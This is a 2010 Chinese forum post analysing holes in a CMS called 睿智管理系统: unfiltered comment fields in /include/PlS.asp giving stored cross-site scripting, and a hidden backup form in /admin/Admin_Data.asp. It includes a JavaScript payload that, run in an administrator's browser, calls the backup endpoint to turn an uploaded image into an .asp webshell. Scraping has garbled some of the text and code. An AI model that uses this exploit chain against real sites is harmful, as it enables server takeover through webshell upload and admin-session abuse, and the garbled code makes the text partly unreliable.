以文本方式查看主题

-  曙海教育集团论坛  (http://sun4.cn/bbs/index.asp)
--  SQL Server数据库  (http://sun4.cn/bbs/list.asp?boardid=67)
----  利用or构造SQL巧妙注射-分析睿智管理系统安全  (http://sun4.cn/bbs/dispbbs.asp?boardid=67&id=2532)

--  作者:wangxinxin
--  发布时间:2010-12-13 13:47:46
--  利用or构造SQL巧妙注射-分析睿智管理系统安全
前言:
???? 最近上cnzz下载了一套网站管理系统,在源码首页发现它,心想cnzz都推荐应该安全性相当不错了.官方下载最新版本本地搭建IIS测试发现简洁易用,整体上安全做得不错.由于是免费版的,可能官方有点放水.不过这里不影响我们的分析,这里讨论两个方面:跨站的利用,SQL注射.还是一句话:重在思路.
一.隐藏的数据库
分析代码经常要用到数据库(我分析的是Access版本的) ,习惯性的打开数据库,惊奇的发现只有一个notdown表,如图01:
  
可是再仔细查看代码发现不应该只有这张表的,于是就想是不是隐藏起来了?第一次看到这种情况,于是就查看了下Access帮助说明,在其中发现原来有还存在两种属性的数据表,即系统对象和隐藏对象.下面做一个小知识补充:
由于Access默认是不显示系统对象和隐藏对象的.所以如果一个表中存在隐藏对象或者系统对象那么就无法看到该表了. 简单说下隐藏方法,设计好表后右击表选择"属性"->"隐藏"属性打勾,刷新下就看不到了,这样就是隐藏对象了,默认是看不到的.至于系统对象,我们可以修改表的前缀为 usys,这样就可以把表改成一个系统对象.这两种方法都可以.
既然可以隐藏当然也可以恢复显示了, 按如下操作:“工具”菜单->“选项”命令->“视图”选项卡->选中“显示”一栏下的“系统对象”复选框或者"隐藏对象"复选框,并按下“确定”按钮,就可以重新显示所有表了.如图02
  
Ok了,数据就可以和正常的一样了.
二.跨站的深入利用鸡肋
首先看看漏洞文件/include/PlS.asp,查看代码发现是一个评论显示,在多个文件被包含了,代码如下:  
"" then
??????Dim Author,Content,mycode
????Author=Trim(Request.Form("Author"))// 简单的过滤空格
????Content=Trim(Request.Form("Content")) //同上
????mycode = trim(request.form("code"))
??????if Author="" or Content="" then
??????Call Alert ("请填写完整再提交","-1")
????end if
????if mycodeSession("getcode") then
?????? Call Alert ("您输入验证码错误","-1")
????end if
??????set rs = server.CreateObject ("adodb.recordset")
????sql="select * from zhi_rui_E_Pl"
????rs.open sql,conn,1,3
????rs.addnew
????rs("cli")=Request.Form("cli")
????rs("Ioid")=request.Form("Inid")
????rs("Author")=Author
????rs("Content")=Content
??------------------------省略部分代码-------------------------------
%>

显然没有任何过滤,直接写入数据库,跨站产生了.由于数据库是mdb格式的,所有插马也没用.这里就想到了是否可以备份数据库?进入后台看到数据库备份,查看如图03:
  
看到了没,据库路径和备份文件名都不能修改,有些朋友可能就到这里停止,其实不然,还可以继续,经验告诉我,他是将该输入框写成hidden隐藏域了,查看文件/admin/Admin_Data.asp代码如下:  
" size="40" />[/td]

看到这行type=hidden,猜测没错.那也就是说同样可以备份任意文件了.所有后台拿shell比较简单了.(插马备份数据库比较麻烦,要绕过// 判断浏览器类型并定义创建xmlhttp会话
if (window.XMLHttpRequest)
{
??xmlhttp = new XMLHttpRequest();
} else if (window.ActiveXObject)
{
??try
??{
????xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
??}
??catch (e)
??{
????try
????{
??????xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
????}
????catch (e)
????{
????}
??}
}
function backup()
{
??var postStr = "DBpath=upload/2009082150598817.jpg&bkfolder=../DataBase/bak/&bkDBname=l4nk0r.asp";
??xmlhttp.open(&quot图片点击可在新窗口打开查看OST","/admin/Admin_data.asp?action=RestoreData&act=Restore",true);
??xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
??xmlhttp.send(postStr);
}
Backup();

然后在你要提交的地方提交